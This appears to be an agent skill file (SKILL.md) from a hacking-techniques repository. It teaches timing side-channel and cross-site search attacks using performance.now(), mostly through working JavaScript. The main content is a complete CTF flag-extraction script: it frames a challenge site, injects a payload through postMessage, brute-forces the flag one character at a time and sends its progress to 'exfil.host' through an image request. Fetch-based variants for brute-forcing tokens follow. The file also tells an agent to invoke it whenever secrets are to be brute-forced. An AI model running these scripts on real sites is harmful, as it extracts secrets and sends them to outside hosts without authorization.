Hacktricks-skills timing-side-channel-attack

How to perform timing-based side-channel attacks using performance.now() to extract hidden data from web applications. Use this skill whenever you need to brute-force secrets, flags, or sensitive data by measuring response time differences. Trigger this when the user mentions timing attacks, performance.now, side-channel extraction, CTF challenges with time-based vulnerabilities, or any scenario where response time correlates with secret data.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/performance.now-example/SKILL.MD
source content

Timing Side-Channel Attacks with performance.now()

This skill teaches you how to exploit timing differences in web applications to extract secrets, flags, or sensitive data. When a server takes longer to respond for certain inputs (e.g., when a character matches), you can use

performance.now()
to measure these differences and brute-force the secret one character at a time.

When to Use This Technique

Use timing side-channel attacks when:

  • You suspect a server performs character-by-character comparison of secrets
  • Response times vary based on input correctness (even by milliseconds)
  • You're solving CTF challenges with time-based vulnerabilities
  • Traditional brute-force is blocked but timing information leaks
  • The application uses functions like
    strcmp
    ,
    ===
    , or similar that short-circuit on mismatch

Core Concept

The attack works by:

  1. Sending a request with a partial guess (e.g.,
    flag{a
    )
  2. Measuring the response time with
    performance.now()
  3. If the time is significantly longer than baseline, the character was correct
  4. Append the correct character and repeat
  5. Continue until you've extracted the full secret

Basic Implementation Pattern

const sleep = (ms) => new Promise((res) => setTimeout(res, ms))

async function check(guess) {
  // Send request with the guess
  // Measure time before and after
  let t1 = performance.now()
  await sleep(1) // Small delay to ensure timing is captured
  return performance.now() - t1 > THRESHOLD
}

Complete Example: CTF Flag Extraction

This example demonstrates extracting a flag from a vulnerable web application:

const sleep = (ms) => new Promise((res) => setTimeout(res, ms))

async function check(flag) {
  let w = frame.contentWindow
  w.postMessage(
    { op: "preview", payload: '<img name="enable_experimental_features">' },
    "*"
  )
  await sleep(1)
  w.postMessage({ op: "search", payload: flag }, "*")
  let t1 = performance.now()
  await sleep(1)
  return performance.now() - t1 > 200
}

async function main() {
  let alpha =
    "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
  window.frame = document.createElement("iframe")
  frame.width = "100%"
  frame.height = "700px"
  frame.src = "https://challenge.jsapi.tech/"
  document.body.appendChild(frame)
  await sleep(1000)

  let flag = "nite{"
  while (1) {
    for (let c of alpha) {
      let result = await Promise.race([
        check(flag + c),
        new Promise((res) =>
          setTimeout(() => {
            res(true)
          }, 300)
        ),
      ])
      console.log(flag + c, result)
      if (result) {
        flag += c
        break
      }
    }
    new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)
  }
}

document.addEventListener("DOMContentLoaded", main)

Key Components Explained

1. Character Set Definition

let alpha = "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"

Define all possible characters in the order they might appear. Adjust based on the target's character set.

2. Timing Threshold

return performance.now() - t1 > 200

The threshold (200ms in this example) should be calibrated based on:

  • Network latency baseline
  • Server processing time variance
  • The actual timing difference between correct/incorrect characters

3. Timeout Protection

Promise.race([
  check(flag + c),
  new Promise((res) => setTimeout(() => res(true), 300))
])

Prevents hanging on slow responses. Adjust timeout based on your threshold.

4. Progress Tracking

new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)

Optional: Exfiltrate progress to avoid losing work if the page reloads.

Variations and Adaptations

HTTP Request Version

async function check(guess) {
  let t1 = performance.now()
  await fetch(`/api/verify?token=${guess}`)
  let t2 = performance.now()
  return t2 - t1 > THRESHOLD
}

AJAX/Fetch Version

async function check(guess) {
  let t1 = performance.now()
  const response = await fetch('/check', {
    method: 'POST',
    body: JSON.stringify({ input: guess })
  })
  await response.json()
  let t2 = performance.now()
  return t2 - t1 > THRESHOLD
}

With Baseline Calibration

async function calibrate() {
  let times = []
  for (let i = 0; i < 10; i++) {
    let t1 = performance.now()
    await fetch('/check?input=wrong')
    times.push(performance.now() - t1)
  }
  return Math.max(...times) + 50 // Add buffer
}

async function main() {
  THRESHOLD = await calibrate()
  // ... rest of attack
}

Troubleshooting

Timing Too Noisy

  • Increase sample size: measure multiple times and use median
  • Add more delay between measurements
  • Run during low-traffic periods

Attack Too Slow

  • Reduce timeout values
  • Parallelize character testing (if server allows)
  • Narrow character set based on context

False Positives

  • Increase threshold
  • Require multiple confirmations before accepting a character
  • Add baseline calibration

False Negatives

  • Decrease threshold
  • Check for server-side rate limiting
  • Verify the timing difference actually exists

Security Considerations

  • Only use on systems you own or have explicit permission to test
  • This technique is commonly used in CTF competitions and authorized penetration testing
  • Many modern applications use constant-time comparison functions to prevent this attack
  • Consider the ethical implications before deploying

Related Techniques

  • Blind SQL Injection: Similar character-by-character extraction
  • Error-based attacks: Using error messages to extract data
  • Race conditions: Exploiting timing in concurrent operations
  • Cache timing attacks: Using cache hits/misses for timing information